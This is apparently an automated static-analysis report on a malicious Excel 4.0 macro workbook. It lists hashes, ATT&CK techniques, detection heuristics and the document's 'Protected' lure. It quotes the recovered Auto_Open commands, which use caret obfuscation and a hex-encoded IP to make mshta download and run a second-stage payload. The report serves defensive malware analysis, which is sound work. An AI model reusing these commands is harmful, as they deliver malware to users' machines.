Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7e80a5f06a5b4253…

MALICIOUS

Office (OLE) / .XLS

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: e1bedd876008b65164eb624934e1cd3a SHA-1: d0898604383772bb9fa5e3a68fcc39e26a58eaca SHA-256: 7e80a5f06a5b425316f925bdd917fa7a140b45507724b1c80130e34f77fb38c2
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1218.010 System Binary Proxy Execution: Mshta T1059.003 Command and Scripting Interpreter: Windows Command Shell T1566.001 Phishing: Spearphishing Attachment T1027 Obfuscation

The sample uses a 'Protected' document lure to encourage the user to enable content. The embedded Excel 4.0 (XLM) macros utilize the Auto_Open trigger to execute the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret obfuscation to launch mshta.exe to download and execute a second-stage payload from the same host.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes